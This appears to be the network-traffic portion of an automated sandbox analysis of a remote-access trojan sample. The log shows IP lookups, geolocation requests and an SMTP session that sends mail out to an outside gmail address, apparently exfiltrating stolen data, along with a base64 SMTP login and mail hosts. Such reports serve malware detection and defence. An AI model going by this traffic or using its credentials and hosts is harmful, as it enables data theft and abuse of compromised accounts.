Jul 26, 2024 11:39:12.280565977 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 09:39:12 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 572deb602e5b95ce4723bc9f5750b5d3 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 11:39:12.301397085 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 09:39:12 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 572deb602e5b95ce4723bc9f5750b5d3 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49722	158.101.44.242	80	4040	C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 11:39:12.917669058 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 11:39:13.480638027 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 09:39:13 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 33e9b6d1def81d96ff656bc8a2e385cf Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49710	188.114.97.3	443	4040	C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:39:05 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 09:39:05 UTC	711	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 09:39:05 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 9358 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j4AaaMvqLJk3JK8HiccFhYv7%2F8e9H0I%2F0exA80WaVYABu0Uv2Hf9parSO1sWJ6F8FvND%2BLGNVgaUV2USia3XM2l%2BpM6dPqmXRqKY2U%2F1TbIj5Er5MOV%2FS6hDj5ly48JYJKn0gLmK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a936ba74b4d7c81-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 09:39:05 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 09:39:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49711	188.114.97.3	443	4040	C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:39:06 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-07-26 09:39:06 UTC	705	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 09:39:06 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 9359 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tP2ojCoyh0j5hk4LQw389SHgTjjTIsQ4ALXbPz8if1JGha34vw6fR45v1IvnOMxpwY%2FkQNkQ6%2FEZ0AAz92jSjVwkjEyOlQ7RmIqWyo%2BAApqANJDYDO6he7qweWOfeTvXSJGICdtx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a936bac8ba58c1d-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 09:39:06 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 09:39:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49713	188.114.97.3	443	4040	C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:39:07 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-07-26 09:39:07 UTC	703	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 09:39:07 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 9360 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xiwUuMv3Y6GnMjlAvHz3BmXzVXXGEuESNndMJHRUzUwPaIL6%2B6jVyTFsZqwiAabJKhyDejTMw8FNftDsuB8GkvPRRaSRAuglzCOjQ3c7XHtnrSW3pTZXyZzeGHRVg0Q41pUkIOh%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a936bb47ece177c-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 09:39:07 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 09:39:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49715	188.114.97.3	443	4040	C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:39:08 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-07-26 09:39:08 UTC	707	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 09:39:08 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 9361 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nja%2BlfklVO8eatAurvtWjNybmKy2lA0yrOx3L%2FhtyNLHz%2BC8tFhlafBjXVF2IDdtox5dDa4HBRMgz04seE4F8lRlwFva1mK22qoBjPTZTNQIxxC2mm1Cm6XrPU5icRVaMCRJ%2BtHn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a936bbc786619fb-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 09:39:08 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 09:39:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49717	188.114.97.3	443	4040	C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:39:10 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 09:39:10 UTC	705	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 09:39:10 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 9363 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0L0XQQVNmpq%2BkdS0W4hKcCWOMITM5F%2FXZ8Or1gzdxB4t41FPlHgIy8wdroR%2Fd1T5wwiGGBNGzD86TQBduB4yCYwldnvcJA3SVTh1Zd6sqiwrhD5khLZAE2X2g8xBH1FR52qLJs6b"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a936bc43d174308-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 09:39:10 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 09:39:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49719	188.114.97.3	443	4040	C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:39:11 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-07-26 09:39:11 UTC	707	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 09:39:11 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 9364 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BzRIKNbsHy7byMrrAY1RYvd2EK8%2FQSSPVd2dx1R6LfZIkX1SU%2BSymudBZRMF1C4XmzmskyR%2FOAarJ1ETpCWuQUeW%2BjhAfOcbxChyOKnJhyCcsKXd4o01WGTkP19TqhTKvukEbZhV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a936bcc481e17f1-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 09:39:11 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 09:39:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49721	188.114.97.3	443	4040	C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:39:12 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 09:39:12 UTC	705	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 09:39:12 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 9365 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NZ080nqmOzDt0xZhhHOycuUI4bL9hL1OPAvA0jTMk1RS5WndVL5d2DxlGrcyIVIKOQjOFZTYwafp%2BZcWFx7afGtledOtyW23mexYXGzPTdEt01IOfWAuAfSi7vE%2F4DxyaFj13%2F3U"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a936bd54ac11a24-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 09:39:12 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 09:39:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49723	188.114.97.3	443	4040	C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:39:13 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 09:39:14 UTC	701	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 09:39:14 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 9367 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kFNXKqpSjLLa5U7n7SVNpYeoecQbs9FaPYUFFzxYBuT2xNUBypgPEIYo3bb1FIe3RAx37MEJvx7nlbXXK6hDe72aM5O69iRzaLpxfaRdULEwNtOKEcv7hY44Q%2FNfjlDPgyplmUgD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a936bdcec577280-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 09:39:14 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 09:39:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jul 26, 2024 11:39:21.493563890 CEST	587	49730	77.245.159.7	192.168.2.5	220-rosha.wlsrv.com ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 12:39:21 +0300 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 26, 2024 11:39:21.493731976 CEST	49730	587	192.168.2.5	77.245.159.7	EHLO 347688
Jul 26, 2024 11:39:21.728148937 CEST	587	49730	77.245.159.7	192.168.2.5	250-rosha.wlsrv.com Hello 347688 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jul 26, 2024 11:39:21.730078936 CEST	49730	587	192.168.2.5	77.245.159.7	AUTH login Z3JhZmlrQGVya2FubGFyb2Zpcy5jb20udHI=
Jul 26, 2024 11:39:21.964288950 CEST	587	49730	77.245.159.7	192.168.2.5	334 UGFzc3dvcmQ6
Jul 26, 2024 11:39:22.267419100 CEST	587	49730	77.245.159.7	192.168.2.5	235 Authentication succeeded
Jul 26, 2024 11:39:22.267713070 CEST	49730	587	192.168.2.5	77.245.159.7	MAIL FROM:<grafik@erkanlarofis.com.tr>
Jul 26, 2024 11:39:22.501398087 CEST	587	49730	77.245.159.7	192.168.2.5	250 OK
Jul 26, 2024 11:39:22.502785921 CEST	49730	587	192.168.2.5	77.245.159.7	RCPT TO:<m1911bdk@gmail.com>
Jul 26, 2024 11:39:22.739942074 CEST	587	49730	77.245.159.7	192.168.2.5	250 Accepted
Jul 26, 2024 11:39:22.740250111 CEST	49730	587	192.168.2.5	77.245.159.7	DATA
Jul 26, 2024 11:39:22.974374056 CEST	587	49730	77.245.159.7	192.168.2.5	354 Enter message, ending with "." on a line by itself
Jul 26, 2024 11:39:22.975301981 CEST	49730	587	192.168.2.5	77.245.159.7	.
Jul 26, 2024 11:39:23.389702082 CEST	587	49730	77.245.159.7	192.168.2.5	250 OK id=1sXHQ2-005kGQ-2B
Jul 26, 2024 11:39:32.611268044 CEST	49730	587	192.168.2.5	77.245.159.7	QUIT
Jul 26, 2024 11:39:33.046582937 CEST	587	49730	77.245.159.7	192.168.2.5	221 rosha.wlsrv.com closing connection
Jul 26, 2024 11:39:33.713608980 CEST	587	49731	77.245.159.7	192.168.2.5	220-rosha.wlsrv.com ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 12:39:33 +0300 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 26, 2024 11:39:33.713798046 CEST	49731	587	192.168.2.5	77.245.159.7	EHLO 347688
Jul 26, 2024 11:39:33.950326920 CEST	587	49731	77.245.159.7	192.168.2.5	250-rosha.wlsrv.com Hello 347688 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jul 26, 2024 11:39:33.950932980 CEST	49731	587	192.168.2.5	77.245.159.7	AUTH login Z3JhZmlrQGVya2FubGFyb2Zpcy5jb20udHI=
Jul 26, 2024 11:39:34.187680006 CEST	587	49731	77.245.159.7	192.168.2.5	334 UGFzc3dvcmQ6
